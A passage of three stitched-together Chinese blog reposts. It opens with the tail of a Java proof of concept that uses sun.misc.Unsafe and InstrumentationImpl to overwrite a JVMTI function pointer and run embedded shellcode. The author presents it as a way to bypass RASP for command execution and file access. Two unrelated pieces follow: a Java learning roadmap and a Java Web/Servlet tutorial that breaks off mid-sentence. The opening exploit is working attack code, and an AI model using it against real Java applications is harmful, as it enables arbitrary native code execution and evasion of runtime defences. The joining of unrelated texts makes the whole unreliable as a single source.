(byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html) long allocateMemory = unsafe.allocateMemory(size); System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); Map map=new HashMap(); map.put("X","y"); //unsafe.putObject(map,allocateMemory+0x10,ints); //unsafe.putByte(allocateMemory,); PocForRCE poc=new PocForRCE(); for (int i=0;i<10000;i++) { poc.b(33); } Thread.sleep(2000); for (int k=0;k<10000;k++) { long tmp=unsafe.allocateMemory(0x4000); //unsafe.putLong(tmp+0x3900,tmp); //System.out.println("alloce:"+Long.toHexString(tmp)); } long shellcodeBed = 0; int offset=4; for (int j=-0x1000;j<0x1000;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66) { System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } if (shellcodeBed==0) { for (int j=-0x100;j<0x800;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48) { System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } } System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8); String address=""; allocateMemory=shellcodeBed; address=allocateMemory+""; Class cls=Class.forName("sun.instrument.InstrumentationImpl"); Constructor constructor=cls.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object obj=constructor.newInstance(Long.parseLong(address),true,true); Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class}); ClassDefinition classDefinition=new ClassDefinition( Class.class, new byte[]{}); ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition}; try { unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8 for (int k=0;k<buf.length;k++) { unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body } redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate } catch (Exception e) { e.printStackTrace(); } } private int a(int x) { if (x>1) { // System.out.println("x>1"); } else { // System.out.println("x<=1"); } return x*1; } private void b(int x) { if (a(x)>1) { //System.out.println("x>1"); this.a(x); } else { this.a(x+4); // System.out.println("x<=1"); } }}编译,运行,成功执行了shellcode,弹出计算器。到此,我们通过纯Java代码实现了跨平台的任意Native代码执行,从而可以解锁很多新玩法,比如绕过RASP实现命令执行、文件读写、数据库连接等等。小结本文主要介绍了几种我最近研究的内存相关的攻击方法,欢迎大家交流探讨,文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了,所以行文略有仓促,若有纰漏之处,欢迎批评指正。———————————————— 原文链接:https://blog.csdn.net/2401_83384536/article/details/137550331
-
引言Java,作为一门跨平台的高级编程语言,自1995年由Sun Microsystems推出以来,凭借其“一次编写,到处运行”的特性,迅速在全球范围内获得了广泛的认可和应用。无论是企业级应用、移动应用开发,还是大数据处理、云计算平台,Java都扮演着举足轻重的角色。本篇文章旨在为初学者提供一条清晰的学习路径,同时也为有一定基础的开发者提供进阶的指导,帮助大家从入门走向精通。一、Java基础篇:搭建环境与基础语法1.1 安装Java开发工具包(JDK)下载JDK:访问Oracle官网或OpenJDK网站,下载适合你操作系统的最新版本的JDK。配置环境变量:安装完成后,需设置JAVA_HOME和PATH环境变量,以便在任何目录下都能使用java和javac命令。验证安装:通过命令行输入java -version和javac -version,确认安装成功且版本信息正确。1.2 第一个Java程序:Hello World创建源文件:使用文本编辑器创建一个名为HelloWorld.java的文件,输入基本的Java类结构。编译程序:在命令行中使用javac HelloWorld.java命令编译源文件,生成HelloWorld.class字节码文件。运行程序:使用java HelloWorld命令执行编译后的字节码,输出“Hello, World!”。1.3 Java基础语法变量与数据类型:了解基本数据类型(如int, double, char, boolean)及引用类型(如String),掌握变量的声明与初始化。运算符:熟悉算术、比较、逻辑、位运算符及其使用场景。控制结构:掌握if-else, switch-case, for, while, do-while等控制流程语句。数组:理解数组的声明、初始化及遍历方法。1.4 面向对象编程(OOP)类与对象:理解类的定义、对象的创建及成员变量与方法的访问。封装:通过访问修饰符(public, private, protected, default)实现数据的隐藏与保护。继承:掌握子类继承父类的机制,重写父类方法,使用super关键字。多态:理解接口与抽象类的区别,通过接口实现多态性。异常处理:学习try-catch-finally结构,自定义异常类。二、Java进阶篇:核心API与集合框架2.1 Java核心APIString类:深入理解字符串的不变性,掌握常用方法如substring, indexOf, replaceAll等。包装类:了解基本数据类型的包装类(如Integer, Double),及其与基本类型间的转换。日期与时间API:掌握Date, Calendar, SimpleDateFormat的使用,以及Java 8引入的java.time包。I/O流:理解输入流与输出流的概念,掌握FileInputStream, FileOutputStream, BufferedReader, BufferedWriter等类的使用。2.2 集合框架Collection接口:了解List, Set, Queue接口及其常用实现类(如ArrayList, LinkedList, HashSet, TreeSet)。Map接口:掌握HashMap, TreeMap, LinkedHashMap的用法,理解键值对存储机制。集合遍历:熟悉for-each循环, Iterator, ListIterator等遍历方式。集合工具类:学习Collections类的排序、查找、转换等静态方法。2.3 泛型与注解泛型:理解泛型的概念,掌握泛型类、泛型接口、泛型方法的定义与使用。注解:了解注解的类型(标记、单值、完整),自定义注解,以及注解处理器的基本使用。三、Java高级篇:并发编程与网络编程3.1 并发编程线程基础:理解线程的概念,掌握Thread类与Runnable接口创建线程的方法。同步机制:学习synchronized关键字与Lock接口,解决线程安全问题。线程池:了解ExecutorService接口,掌握ThreadPoolExecutor与ScheduledThreadPoolExecutor的使用。并发集合:熟悉ConcurrentHashMap, CopyOnWriteArrayList等线程安全集合的使用。3.2 网络编程Socket编程:掌握TCP/IP协议,使用ServerSocket与Socket类实现客户端-服务器通信。URL与HTTP:了解URL类,使用HttpURLConnection或第三方库(如Apache HttpClient)进行HTTP请求处理。NIO(New I/O):理解缓冲区、通道、选择器的概念,掌握NIO的基本使用。四、Java实战篇:框架与项目实践4.1 Spring框架Spring Core:理解IoC(控制反转)与AOP(面向切面编程)的概念,掌握Spring Bean的配置与管理。Spring MVC:学习MVC模式,掌握Spring MVC的配置、请求处理及视图解析。Spring Boot:了解Spring Boot的自动配置机制,快速构建Web应用,掌握Spring Boot Starter的使用。4.2 数据库访问JDBC:掌握JDBC的基本操作,理解Connection, Statement, ResultSet的使用。ORM框架:学习MyBatis与Hibernate等ORM框架,理解对象关系映射的原理,掌握MyBatis的Mapper接口与XML配置,以及Hibernate的Session、Transaction管理。4.3 Web前端集成HTML/CSS/JavaScript:了解基本的Web前端技术,能够与Java后端进行简单的页面交互。JSP/Servlet:掌握JSP页面元素、Servlet生命周期及请求处理,实现动态网页生成。Ajax与JSON:学习Ajax技术,使用JavaScript异步请求Java后端接口,处理JSON格式数据。4.4 实战项目:构建一个简单的电商系统4.4.1 项目规划需求分析:确定用户角色(买家、卖家)、功能模块(商品浏览、购物车、订单管理、支付接口模拟等)。技术选型:Spring Boot作为后端框架,MyBatis进行数据库访问,前端采用HTML+CSS+JavaScript+Ajax。4.4.2 后端开发搭建项目骨架:使用Spring Initializr创建Spring Boot项目,配置MyBatis及数据库连接。实体类与Mapper接口:根据数据库表结构设计实体类,编写Mapper接口及对应的XML映射文件。Service层与Controller层:实现业务逻辑层,编写RestController处理HTTP请求,返回JSON格式数据。安全认证:简单实现用户登录认证,使用Spring Security或自定义过滤器。4.4.3 前端开发页面设计:使用HTML与CSS设计商品列表、详情、购物车等页面。交互逻辑:使用JavaScript与Ajax实现页面动态更新,如添加到购物车、提交订单等。响应式布局:利用Bootstrap等前端框架,使网站在不同设备上都能良好显示。4.4.4 测试与部署单元测试:编写JUnit测试用例,对关键业务逻辑进行验证。集成测试:使用Postman等工具模拟HTTP请求,测试前后端接口联调。部署上线:了解云服务器(如阿里云、腾讯云)的部署流程,将项目打包部署至服务器,配置域名访问五、Java精通篇:性能优化与架构设计5.1 性能优化代码优化:减少不必要的对象创建,使用合适的数据结构,优化算法逻辑。内存管理:理解JVM内存模型,掌握垃圾回收机制,使用JVM参数调优。并发优化:分析线程争用,优化锁策略,使用并发集合与线程池提高性能。数据库优化:索引设计,SQL查询优化,连接池配置,分库分表策略。5.2 架构设计微服务架构:理解微服务概念,掌握Spring Cloud或Dubbo等微服务框架,实现服务注册、发现、调用。分布式系统:学习CAP理论,掌握分布式锁、分布式事务、消息队列(如RabbitMQ, Kafka)的使用。缓存策略:使用Redis, Memcached等缓存中间件,提升系统响应速度。日志与监控:集成ELK Stack(Elasticsearch, Logstash, Kibana),实现日志收集、分析与监。六、结语Java作为一门功能强大、生态丰富的编程语言,其学习之路既充满挑战也极具价值。从基础语法到高级特性,从单机应用到分布式系统,每一步都凝聚着开发者的智慧与汗水。本文试图通过从入门到精通的全面指南,为Java学习者提供一条清晰的学习路径。然而,技术的海洋浩瀚无垠,真正的精通需要不断的实践、探索与积累。愿每位Java开发者都能在这条道路上越走越远,创造出更多有价值的作品。———————————————— 原文链接:https://blog.csdn.net/m0_72256543/article/details/143635231
-
引言:开启 Java Web 之旅在互联网技术飞速发展的当下,Web 应用已成为连接用户与数据的关键桥梁,深入到生活的各个角落。从日常使用的社交平台、购物网站,到企业内部的管理系统,Web 应用无处不在,为人们的生活和工作带来了极大的便利。而 Java Web,凭借其强大的功能、卓越的稳定性和广泛的适用性,在 Web 开发领域占据着举足轻重的地位。Java,作为一种跨平台的编程语言,拥有丰富的类库和强大的开发工具,为 Web 开发提供了坚实的技术支撑。Java Web 不仅继承了 Java 语言的优点,还融合了一系列专门用于 Web 开发的技术和框架,使得开发者能够高效地构建出功能丰富、性能卓越的 Web 应用程序。Java Web 技术涵盖了多个层面,从底层的 Servlet 和 JSP,到中层的各种框架,如 Spring、Spring MVC、MyBatis 等,再到上层的前端技术,如 HTML、CSS、JavaScript 等,形成了一个完整的技术体系。这些技术相互协作,共同完成了 Web 应用从请求处理、业务逻辑实现到数据展示的全过程。Servlet 作为 Java Web 应用的基础组件,运行在服务器端,负责接收客户端的 HTTP 请求,处理业务逻辑,并将处理结果返回给客户端。它的生命周期由 Servlet 容器管理,使得开发者可以专注于业务逻辑的实现,而无需过多关注底层的细节。JSP 则是一种用于生成动态 Web 内容的技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。通过 JSP,开发者可以方便地实现页面的动态化,提高用户体验。随着 Web 应用规模的不断扩大和业务复杂度的不断增加,各种框架应运而生。Spring 框架以其强大的依赖注入(DI)和面向切面编程(AOP)功能,简化了 Java Web 应用的开发过程,提高了代码的可维护性和可扩展性。Spring MVC 作为 Spring 框架的一个重要模块,实现了 MVC 设计模式,将业务逻辑、数据展示和用户交互分离,使得代码结构更加清晰,易于开发和维护。MyBatis 框架则专注于数据库访问层的开发,通过简单的 XML 配置或注解,实现了 Java 对象与数据库表之间的映射,大大提高了数据库操作的效率和灵活性。本博客旨在深入剖析 Java Web 开发的核心技术,从基础概念到高级应用,从理论知识到实际案例,全面而系统地介绍 Java Web 开发的各个方面。通过阅读本博客,读者将对 Java Web 开发有一个全面而深入的了解,掌握 Java Web 开发的核心技能,能够独立开发出功能完善、性能卓越的 Web 应用程序。无论是初学者还是有一定经验的开发者,都能从本博客中获得启发和帮助,开启自己的 Java Web 开发之旅。一、Java Web 基础概念大揭秘1.1 什么是 Java WebJava Web,从本质上来说,是运用 Java 技术来解决 Web 领域相关问题的技术集合。它涵盖了服务器端和客户端两部分的技术应用 ,不过当前 Java 在客户端的应用,如 Java Applet,已经较少使用,而在服务器端的应用则极为丰富,像 Servlet、JSP 以及各种第三方框架等都得到了广泛应用。以常见的电商网站为例,当用户在浏览器中输入网址并访问电商网站时,浏览器作为客户端向服务器发送请求。服务器端的 Java Web 应用程序接收到请求后,通过 Servlet 来处理业务逻辑,比如验证用户身份、查询商品信息等。然后,利用 JSP 生成动态的 HTML 页面,将商品列表、用户购物车等信息展示给用户。在这个过程中,还可能会使用到各种第三方框架,如 Spring 来管理对象的生命周期和依赖关系,MyBatis 来进行数据库操作,从而实现一个完整的、功能丰富的电商购物流程。1.2 Java Web 的优势剖析Java 语言自身具备的跨平台特性,使得基于 Java Web 开发的应用程序能够轻松地在不同的操作系统上运行,无需针对每个操作系统进行单独的开发和适配。这大大降低了开发成本和维护难度,提高了应用程序的通用性和可移植性。在安全性能方面,Java Web 有着严格的安全机制,通过字节码验证和安全管理器等手段,能够有效抵御各种潜在的恶意入侵,保障应用程序和用户数据的安全。以用户登录模块为例,Java Web 可以利用其安全特性,对用户输入的账号和密码进行加密传输和存储,防止被黑客窃取。Java 的多线程机制允许 Java Web 应用程序同时处理多个用户请求,通过为每个用户创建独立的线程,实现高效的并发处理。这使得应用程序在面对大量用户访问时,依然能够保持良好的性能和响应速度,确保用户能够获得流畅的使用体验。Java 拥有丰富的类库和各种优秀的开发框架,如前面提到的 Spring、MyBatis 等。这些框架提供了大量的通用功能和工具,开发者可以基于这些框架快速搭建应用程序的基础架构,减少了重复开发的工作量,提高了开发效率,并且使得代码的结构更加清晰,易于维护和扩展。1.3 Java Web 相关核心概念详解B/S 架构:即 Browser/Server(浏览器 / 服务器)架构,是随着 Web 技术兴起而流行的一种网络结构模式。在这种架构下,客户端只需要安装一个浏览器,如常见的 Chrome、Firefox、Edge 等,而系统功能实现的核心部分则集中在服务器端。用户通过浏览器向服务器发送请求,服务器接收请求后进行处理,并将处理结果返回给浏览器进行展示。例如,我们日常使用的各类网页版邮箱、在线办公系统等,都是基于 B/S 架构实现的。用户无需在本地安装复杂的软件,只需通过浏览器即可随时随地访问和使用这些服务。静态资源与动态资源:静态资源指的是那些内容固定不变的 Web 资源,如 HTML 页面、CSS 样式表、JavaScript 脚本文件、图片、音频、视频等。无论何时何地,不同用户访问这些静态资源,看到的内容都是相同的。它们可以直接被浏览器加载和解析,无需经过服务器的动态处理。而动态资源则是指内容会根据不同的请求和条件动态生成的 Web 资源。比如 JSP 页面、Servlet 等,它们会根据用户的请求参数、数据库中的数据等,在服务器端动态生成相应的 HTML 内容返回给浏览器。以新闻网站为例,新闻列表页面可能是一个动态资源,服务器会根据用户的浏览历史、所在地区等因素,动态生成个性化的新闻列表展示给用户。数据库:在 Java Web 应用中,数据库用于存储和管理应用程序所需的数据。常见的关系型数据库有 MySQL、Oracle、SQL Server 等,非关系型数据库有 MongoDB、Redis 等。数据库与 Java Web 应用程序之间通过各种数据库访问技术进行交互,如 JDBC(Java Database Connectivity)。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交后,Java Web 应用程序会通过 JDBC 将用户信息插入到数据库中进行保存,以便后续的登录验证和用户数据管理。HTTP 协议:超文本传输协议(Hypertext Transfer Protocol,HTTP)是用于从万维网(WWW)服务器传输超文本到本地浏览器的传送协议,它基于 TCP/IP 通信协议来传递数据,包括 HTML 文件、图片文件、查询结果等。HTTP 是一个简单的请求 - 响应协议,客户端向服务器发送请求报文,服务器接收到请求后返回响应报文。请求报文包括请求行、请求头和请求体,响应报文则包括响应行、响应头和响应体。例如,当我们在浏览器中输入一个网址并按下回车键时,浏览器会根据 HTTP 协议向服务器发送一个 GET 请求,请求行中包含请求方法(GET)、请求资源的 URL 和 HTTP 协议版本;服务器接收到请求后,根据请求的资源返回相应的响应,响应行中包含 HTTP 协议版本、状态码和状态描述,状态码如 200 表示请求成功,404 表示请求的资源未找到等。Web 服务器:Web 服务器的作用是接收客户端的请求,对请求进行处理,并返回相应的响应。常见的 Web 服务器有 Tomcat、Jetty、Apache 等。其中,Tomcat 是一个免费的开源 Web 应用服务器,也是 Java Web 开发中常用的服务器之一,它不仅可以处理 HTML 页面的请求,还是一个 Servlet 和 JSP 容器,能够很好地支持 Java Web 应用的运行。当我们开发好一个 Java Web 应用后,需要将其部署到 Web 服务器上,才能对外提供服务。例如,将一个基于 Spring MVC 框架开发的 Web 应用部署到 Tomcat 服务器上,用户就可以通过浏览器访问该应用的 URL 来使用其提供的功能。二、搭建 Java Web 开发环境:步步为营2.1 所需软件大盘点JDK(Java Development Kit):Java 开发工具包,是 Java 开发的核心,包含了 Java 运行时环境(JRE)、Java 编译器(javac)、Java 解释器(java)等一系列开发工具和 Java 的核心类库。它是开发和运行 Java 程序的基础,无论是简单的 Java 应用程序还是复杂的 Java Web 项目,都离不开 JDK 的支持。MyEclipse 或 IntelliJ IDEA:这两者都是强大的 Java 集成开发环境(IDE)。MyEclipse 是在 Eclipse 基础上开发的企业级集成开发环境,对 Java EE 和各种开源技术有很好的支持,提供了丰富的 Web 开发功能,如服务器集成、HTML/CSS/JavaScript 编辑器等,适合企业级应用开发。IntelliJ IDEA 则以其强大的代码编辑、智能代码补全、代码导航和重构等功能著称,拥有丰富的插件生态系统,能够极大地提高开发效率,在企业开发和大型项目中应用广泛,深受开发者喜爱。Tomcat:一个开源的轻量级应用服务器,由 Apache 软件基金会开发。它实现了 Java Servlet、JavaServer Pages(JSP)和 Java Expression Language(EL)等 Java 技术,是 Java Web 应用程序开发的重要组成部分。Tomcat 可以作为独立的 Web 服务器运行,处理 HTTP 请求并返回响应,同时也是一个 Servlet 容器,能够运行 Servlet 和 JSP,为 Java Web 应用提供了一个稳定、高效的运行环境,适合中小型系统和并发访问用户不多的场合。MySQL:一种流行的开源关系型数据库管理系统,由瑞典 MySQL AB 公司开发,现属于 Oracle 旗下产品。在 Web 应用方面,MySQL 以其体积小、速度快、总体拥有成本低,尤其是开源的特点,成为众多中小型网站开发的首选数据库。它使用 SQL 语言进行数据的存储、查询、更新和管理,能够高效地处理大量数据,为 Java Web 应用提供数据存储和管理的支持。Navicat for MySQL:一款强大的 MySQL 数据库管理和开发工具,为数据库管理员和开发人员提供了一套功能齐全的工具集。它基于 Windows 系统,提供了直观的图形用户界面(GUI),可以与任何 3.21 或以上版本的 MySQL 一起工作,并支持大部分的 MySQL 最新功能,包括触发器、存储过程、函数、事件、视图、管理用户等。使用 Navicat for MySQL,用户可以方便地创建、管理和维护 MySQL 数据库,进行数据的导入导出、备份恢复、结构同步等操作,大大提高了数据库管理的效率。2.2 软件安装与配置全流程JDK 的安装与配置:首先,从 Oracle 官网下载适合操作系统的 JDK 安装包,下载完成后,双击安装包进行安装。在安装过程中,可以选择默认的安装路径,也可以根据个人需求自定义安装路径。安装完成后,需要配置环境变量。以 Windows 系统为例,右键点击 “此电脑”,选择 “属性”,在弹出的窗口中点击 “高级系统设置”,然后点击 “环境变量”。在系统变量中,新建一个变量名为 “JAVA_HOME”,变量值为 JDK 的安装路径;接着找到 “Path” 变量,点击 “编辑”,在变量值的开头添加 “% JAVA_HOME%\bin;”;再新建一个变量名为 “CLASSPATH”,变量值为 “.;% JAVA_HOME%\lib”。配置完成后,打开命令提示符,输入 “javac” 和 “java -version”,如果能正确显示相关信息,则说明 JDK 安装和配置成功。MyEclipse 的安装与配置:从 MyEclipse 官方网站下载安装包,下载后运行安装程序。安装过程中,按照提示逐步完成安装,包括选择安装路径、接受许可协议等步骤。安装完成后,首次启动 MyEclipse 时,会提示选择工作空间,工作空间用于存放项目文件和相关配置信息,可以根据自己的需求选择或创建一个新的工作空间。MyEclipse 默认已经集成了一些常用的插件和工具,但在开发 Java Web 项目时,可能还需要根据项目需求安装其他插件,如数据库驱动插件、代码生成插件等。可以通过 MyEclipse 的插件管理功能,在线或离线安装所需的插件。IntelliJ IDEA 的安装与配置:在 JetBrains 官网下载 IntelliJ IDEA 的安装包,有旗舰版(Ultimate Edition)和社区版(Community Edition)可供选择,旗舰版功能更全面,社区版免费但功能有所缩减,可根据个人需求选择下载。下载完成后,运行安装程序,按照安装向导的提示完成安装,选择安装路径、关联文件类型等。安装完成后启动 IntelliJ IDEA,首次启动时可以选择导入以前的设置,也可以使用默认设置。在创建 Java Web 项目之前,需要配置项目的 SDK(Software Development Kit),即指定项目使用的 JDK 版本。在 IntelliJ IDEA 的设置中,找到 “Project Structure”,在 “Project” 选项卡中选择正确的 JDK 版本。如果没有检测到已安装的 JDK,可以手动添加 JDK 的安装路径。IntelliJ IDEA 也拥有丰富的插件生态系统,可以根据开发需求安装各种插件,如代码检查插件、版本控制插件、数据库管理插件等。在设置中找到 “Plugins”,在插件市场中搜索并安装所需插件。Tomcat 的安装与配置:从 Apache Tomcat 官网下载 Tomcat 的压缩包,根据自己的需求选择合适的版本,如 Tomcat 8、Tomcat 9 等。下载完成后,将压缩包解压到指定的目录,解压后的目录即为 Tomcat 的安装目录。Tomcat 默认使用 8080 端口,可以根据实际情况修改端口号。打开 Tomcat 安装目录下的 “conf” 文件夹,找到 “server.xml” 文件,使用文本编辑器打开,在文件中找到类似 “” 的代码段,将 “port” 属性的值修改为需要的端口号,如 “80”(如果 80 端口未被占用,可直接修改为 80,这样访问 Web 应用时就不需要在 URL 中输入端口号)。配置完成后,启动 Tomcat。在 Tomcat 安装目录的 “bin” 文件夹下,找到 “startup.bat”(Windows 系统)或 “startup.sh”(Linux 系统),双击运行(Linux 系统需要赋予执行权限后再运行)。如果启动成功,会在命令行中看到 “Server startup in xxx ms” 的提示信息。此时,打开浏览器,输入 “http://localhost:8080/”(如果修改了端口号,将 8080 替换为修改后的端口号),如果能看到 Tomcat 的欢迎页面,则说明 Tomcat 安装和配置成功。MySQL 的安装与配置:从 MySQL 官网下载 MySQL 的安装包,根据操作系统和硬件环境选择合适的版本,如 Windows 64 位版本、Linux 版本等。下载完成后,运行安装程序,按照安装向导的提示进行安装,包括选择安装类型(如典型安装、自定义安装等)、设置安装路径、配置 MySQL 服务等步骤。在安装过程中,需要设置 root 用户的密码,务必牢记该密码,后续登录 MySQL 和管理数据库时会用到。安装完成后,配置 MySQL 的环境变量。在系统变量中,新建一个变量名为 “MYSQL_HOME”,变量值为 MySQL 的安装路径;然后找到 “Path” 变量,点击 “编辑”,在变量值中添加 “% MYSQL_HOME%\bin;”。配置完成后,打开命令提示符,输入 “mysql -u root -p”,然后输入设置的 root 用户密码,如果能成功进入 MySQL 命令行界面,则说明 MySQL 安装和配置成功。Navicat for MySQL 的安装与配置:从 Navicat 官网下载 Navicat for MySQL 的安装包,下载完成后,运行安装程序,按照安装向导的提示完成安装,包括选择安装路径、接受许可协议、选择安装组件等步骤。安装完成后,首次启动 Navicat for MySQL,需要进行注册或激活。如果是试用版,可以选择试用一定期限;如果购买了正版授权,可以输入授权信息进行激活。激活成功后,打开 Navicat for MySQL,点击 “连接” 按钮,选择 “MySQL”,在弹出的连接设置窗口中,填写连接名称(可自定义)、主机(通常为 “localhost”,如果 MySQL 安装在远程服务器上,则填写服务器的 IP 地址)、端口(默认 3306,如无特殊情况无需修改)、用户名(如 root)和密码(安装 MySQL 时设置的密码)。填写完成后,点击 “测试连接”,如果提示连接成功,则说明 Navicat for MySQL 与 MySQL 数据库连接配置成功,点击 “确定” 保存连接设置,即可通过 Navicat for MySQL 对 MySQL 数据库进行管理和操作 。三、深入 Java Web 核心技术:Servlet 与 JSP3.1 Servlet 详解Servlet 作为 Java Web 的核心技术之一,是运行在服务器端的 Java 程序,主要用于处理客户端的 HTTP 请求并生成动态的 Web 内容。它实现了 Java EE 中的 Servlet 规范,能够在服务器上扩展应用程序的功能,为 Web 应用提供了强大的后端支持。Servlet 的主要作用是充当客户端请求与服务器资源之间的桥梁。当客户端向服务器发送 HTTP 请求时,Servlet 容器(如 Tomcat)会接收该请求,并将其分配给相应的 Servlet 进行处理。Servlet 根据请求的内容,执行相应的业务逻辑,如查询数据库、处理表单数据等,然后生成动态的 HTML、XML 或其他格式的响应内容,返回给客户端。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交表单时,表单数据会以 HTTP 请求的形式发送到服务器。服务器上的 Servlet 接收到该请求后,会从请求中获取用户输入的注册信息,如用户名、密码、邮箱等。然后,Servlet 会对这些信息进行验证和处理,比如检查用户名是否已存在、密码是否符合强度要求等。如果信息验证通过,Servlet 会将用户信息插入到数据库中,并返回注册成功的提示页面给用户;如果验证失败,Servlet 则会返回包含错误信息的页面,提示用户重新填写。接下来,我们通过一个简单的 Hello World 案例来快速入门 Servlet 开发。首先,创建一个 Java Web 项目,在项目中新建一个 Servlet 类,代码如下:import java.io.IOException;import java.io.PrintWriter;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse; @WebServlet("/hello")public class HelloWorldServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 设置响应内容类型为HTML response.setContentType("text/html"); // 获取输出流对象 PrintWriter out = response.getWriter(); // 输出HTML内容 out.println("<html><body>"); out.println("<h1>Hello, World!</h1>"); out.println("</body></html>"); }}在上述代码中,我们创建了一个名为HelloWorldServlet的 Servlet 类,它继承自HttpServlet类。@WebServlet("/hello")注解用于将该 Servlet 映射到/hello路径,即当客户端访问/hello时,会调用这个 Servlet。在doGet方法中,我们设置了响应内容类型为 HTML,并通过PrintWriter对象向客户端输出了一段 HTML 代码,显示 “Hello, World!”。Servlet 的执行流程如下:客户端向服务器发送 HTTP 请求,请求的 URL 中包含了 Servlet 的映射路径。服务器接收到请求后,根据请求的 URL 找到对应的 Servlet。如果 Servlet 尚未被加载,服务器会加载 Servlet 类,并创建一个 Servlet 实例。服务器调用 Servlet 的init方法,对 Servlet 进行初始化,该方法只会在 Servlet 第一次被加载时执行一次。服务器调用 Servlet 的service方法,根据请求的方法(如 GET、POST 